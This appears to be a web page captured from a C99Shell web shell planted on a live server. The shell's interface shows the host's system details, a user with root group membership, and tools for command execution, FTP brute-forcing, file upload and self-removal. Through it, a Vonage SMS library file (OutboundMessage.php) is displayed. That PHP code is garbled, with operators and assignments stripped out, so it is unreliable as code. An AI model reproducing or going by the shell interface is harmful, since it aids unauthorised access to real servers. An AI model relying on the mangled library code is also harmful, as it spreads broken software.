!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/vonage/client-core/src/SMS/Message/   drwxr-xr-x
Free 28.79 GB of 117.98 GB (24.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OutboundMessage.php (4.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Vonage\SMS\Message;

use 
InvalidArgumentException;

use function 
array_merge;
use function 
is_null;
use function 
strlen;

abstract class 
OutboundMessage implements Message
{
    protected ?
string $accountRef null;

    protected ?
string $clientRef null;

    protected ?
string $deliveryReceiptCallback null;

    protected ?
int $messageClass null;

    protected 
bool $requestDeliveryReceipt true;

    
/**
     * TTL of the SMS delivery, in milliseconds
     *
     * @var int
     */
    
protected $ttl 259200000;

    protected ?
string $warningMessage null;

    
/**
     * Type of message, set by the child class
     *
     * @var string
     */
    
protected string $type;

    public function 
__construct(protected string $to, protected string $from)
    {
    }

    
/**
     * @deprecated Shim when correcting naming conventions, will be removed when it comes out the interface
     */
    
public function getErrorMessage(): ?string
    
{
        return 
$this->getWarningMessage();
    }

    public function 
getWarningMessage(): ?string
    
{
        return 
$this->warningMessage;
    }

    public function 
setWarningMessage(?string $errorMessage): void
    
{
        
$this->warningMessage $errorMessage;
    }

    abstract public function 
toArray(): array;

    public function 
getTtl(): int
    
{
        return 
$this->ttl;
    }

    
/**
     * @return $this
     */
    
public function setTtl(int $ttl): self
    
{
        if (
$ttl 20000 || $ttl 604800000) {
            throw new 
InvalidArgumentException('SMS TTL must be in the range of 20000-604800000 milliseconds');
        }

        
$this->ttl $ttl;

        return 
$this;
    }

    public function 
getRequestDeliveryReceipt(): bool
    
{
        return 
$this->requestDeliveryReceipt;
    }

    
/**
     * @return $this
     */
    
public function setRequestDeliveryReceipt(bool $requestDeliveryReceipt): self
    
{
        
$this->requestDeliveryReceipt $requestDeliveryReceipt;

        return 
$this;
    }

    public function 
getDeliveryReceiptCallback(): ?string
    
{
        return 
$this->deliveryReceiptCallback;
    }

    
/**
     * @return $this
     */
    
public function setDeliveryReceiptCallback(string $deliveryReceiptCallback): self
    
{
        
$this->deliveryReceiptCallback $deliveryReceiptCallback;
        
$this->setRequestDeliveryReceipt(true);

        return 
$this;
    }

    public function 
getMessageClass(): int
    
{
        return 
$this->messageClass;
    }

    
/**
     * @return $this
     */
    
public function setMessageClass(int $messageClass): self
    
{
        if (
$messageClass || $messageClass 3) {
            throw new 
InvalidArgumentException('Message Class must be 0-3');
        }

        
$this->messageClass $messageClass;

        return 
$this;
    }

    public function 
getClientRef(): string
    
{
        return 
$this->clientRef;
    }

    
/**
     * @return $this
     */
    
public function setClientRef(string $clientRef): self
    
{
        if (
strlen($clientRef) > 40) {
            throw new 
InvalidArgumentException('Client Ref can be no more than 40 characters');
        }

        
$this->clientRef $clientRef;

        return 
$this;
    }

    
/**
     * This adds any additional options to an individual SMS request
     * This allows the child classes to set their special request options,
     * and then filter through here for additional request options;
     */
    
protected function appendUniversalOptions(array $data): array
    {
        
$data array_merge($data, [
            
'to' => $this->getTo(),
            
'from' => $this->getFrom(),
            
'type' => $this->getType(),
            
'ttl' => $this->getTtl(),
            
'status-report-req' => (int)$this->getRequestDeliveryReceipt(),
        ]);

        if (
$this->getRequestDeliveryReceipt() && !is_null($this->getDeliveryReceiptCallback())) {
            
$data['callback'] = $this->getDeliveryReceiptCallback();
        }

        if (!
is_null($this->messageClass)) {
            
$data['message-class'] = $this->getMessageClass();
        }

        if (
$this->accountRef) {
            
$data['account-ref'] = $this->getAccountRef();
        }

        if (
$this->clientRef) {
            
$data['client-ref'] = $this->getClientRef();
        }

        return 
$data;
    }

    public function 
getFrom(): string
    
{
        return 
$this->from;
    }

    public function 
getTo(): string
    
{
        return 
$this->to;
    }

    public function 
getAccountRef(): ?string
    
{
        return 
$this->accountRef;
    }

    
/**
     * @return $this
     */
    
public function setAccountRef(string $accountRef): OutboundMessage
    
{
        
$this->accountRef $accountRef;

        return 
$this;
    }

    public function 
getType(): string
    
{
        return 
$this->type;
    }

    public function 
setType(string $type): OutboundMessage
    
{
        
$this->type $type;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--